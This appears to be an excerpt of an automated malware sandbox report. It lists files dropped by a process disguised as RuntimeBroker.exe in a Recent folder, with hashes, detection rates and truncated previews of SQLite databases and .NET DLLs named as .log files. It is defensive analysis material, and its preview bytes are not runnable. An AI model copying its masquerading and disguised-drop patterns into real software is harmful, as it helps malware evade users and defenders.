SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yOTL9sshKp

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\yqcGr3TmGU

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zDWfP4yxtx

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zL41fSWafe

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zTMwAs4Dyr

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zios6tYB3Q

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\AlYgfivS.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 13%
Joe Sandbox View:	Filename: dvc2TBOZTh.exe, Detection: malicious, Browse Filename: teh76E2k50.exe, Detection: malicious, Browse Filename: FuWRu2Mg82.exe, Detection: malicious, Browse Filename: auXl1Tzyme.exe, Detection: malicious, Browse Filename: 9D7RwuJrth.exe, Detection: malicious, Browse Filename: qZoQEFZUnv.exe, Detection: malicious, Browse Filename: w49A5FG3yg.exe, Detection: malicious, Browse Filename: 9XHFe6y4Dj.exe, Detection: malicious, Browse Filename: 12Vjq7Yv2E.exe, Detection: malicious, Browse Filename: 7WyBcig6e3.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\BUSNQNBP.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\FHjMtJQD.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\GtEXSWHd.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ISGNtcvE.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.41854385721431
Encrypted:	false
SSDEEP:	384:8Np+VQupukpNURNzOLn7TcZ64vTUbqryealcpA2:bPpu0NyzOL0ZJ4bavae
MD5:	BBDE7073BAAC996447F749992D65FFBA
SHA1:	2DA17B715689186ABEE25419A59C280800F7EDDE
SHA-256:	1FAE639DF1C497A54C9F42A8366EDAE3C0A6FEB4EB917ECAD9323EF8D87393E8
SHA-512:	0EBDDE3A13E3D27E4FFDAF162382D463D8F7E7492B7F5C52D3050ECA3E6BD7A58353E8EC49524A9601CDF8AAC18531F77C2CC6F50097D47BE55DB17A387621DF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)..d...........!.....N...........l... ........@.. ..............................R.....@..................................l..O.................................................................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................l......H........L..............lL..H....................................................................................................................................................................lsx)T.,.....h.)................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\JNcVLOYU.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\JxaDAGRw.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\LYmDRkwM.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\PNpMSdEO.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\PynuHVwq.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\RAZddEBm.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\RIrcJdiD.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.529329139831718
Encrypted:	false
SSDEEP:	384:ka1bzkw+rsI7GpusgGjLtdPh39rHjN61B7oezUCb2sI:ka5z3IifgGjJdPZ9rDYjtzUmI
MD5:	8AE2B8FA17C9C4D99F76693A627307D9
SHA1:	7BABA62A53143FEF9ED04C5830CDC3D2C3928A99
SHA-256:	0B093D4935BD51AC404C2CD2BB59E2C4525B97A4D925807606B04C2D3338A9BE
SHA-512:	DEFDF8E0F950AA0808AA463363B0091C031B289709837770489E25EC07178D19425648A4109F5EFD0A080697FA3E52F63AABF005A4CCD8235DF61BB9A521D793
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ...............................c....@.................................ts..W.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H........O...#...........N......................................................................................................................................................................o+.tEy...7..o.v.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\TgtTkjWe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\UBGLvaTC.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\UPplfwcz.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\WorcGBQa.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
